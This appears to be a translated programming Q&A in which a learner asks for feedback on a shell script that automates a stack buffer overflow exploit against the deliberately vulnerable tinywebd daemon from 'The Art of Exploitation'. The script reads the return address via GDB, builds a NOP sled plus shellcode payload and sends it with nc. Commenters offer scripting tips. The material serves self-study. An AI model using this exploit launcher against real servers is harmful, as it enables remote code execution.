【发布时间】:2013-09-18 21:23:05
【问题描述】:
要点:这个脚本能不能更简洁一些?
所以我正在研究 Erickson 的 Art of Exploitation,他介绍了一种自动化工具的开发,以加快利用他的 tinywebserver 守护程序。
但是,在 Ubuntu 10.04 上,每次重新启动守护程序时,返回地址都会更改。我调整了脚本以自动从 GDB 获取返回地址。我以前从未编写过任何脚本,下面的脚本可以运行,但我想知道它是否可以更简洁,尤其是 GDB 行。
基本上,我启动守护进程,然后获取 pid。然后我自动运行 GDB 以获得正确的返回地址。这将保存到日志文件中。
我使用 cut 获取返回地址,使用 sed 分隔它,并使用 awk 为 shellcode 正确格式化。
其他一切都来自书中。
对 gdb 行和 cut/sed/awk 行有任何反馈吗?
感谢您的建议。
#!/bin/sh
# a tool for exploiting tinywebd
if [ -z "$2" ]; then # if argument 2 is blank
echo "Usage: $0 <shellcode file> <target IP>"
exit
fi
./tinywebd
pid=$(pidof tinywebd)
OFFSET=524 # changed to work on eve
#RETADDR="\xe4\x9a\xd2\xbf" #
sudo gdb -q -pid=$pid --symbols=./tinywebd --batch -ex "break 86"
--batch -ex "c"--batch -ex "set logging on gdblog" --batch -ex "x/x request+100"
--batch -ex "set logging off" --batch -ex "quit"
RETADDR=$(cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' |
awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}')
rm -f gdblog
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32))
bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80
【问题讨论】:
-
您在
sudo行和下一行的末尾缺少反斜杠。报错时应exit 1;脚本没有成功。您可以使用wc -c < $1在SIZE评估中避免cut。 -
如果您在管道中使用
awk,您通常可以更优雅地在awk脚本中包含grep、cut、sed等较小工具的所有功能。 -
(perl; cat; perl)组合可以替换为带有BEGIN和END操作的单个 Perl 脚本,中间只有一个print;。 -
@jonathanleffler-tracking,我直接从脚本中复制粘贴,在脚本中是一行,为了便于阅读,这里分成多行,因此没有“/”。
-
@tripleee - 所以我的问题。这是我第一次提出我自己的 sed/awk 管道,这就是我要求一些反馈的原因。你能举一个例子来说明你把它们结合起来的意思吗?或者至少是一个很好的 awk 参考资料?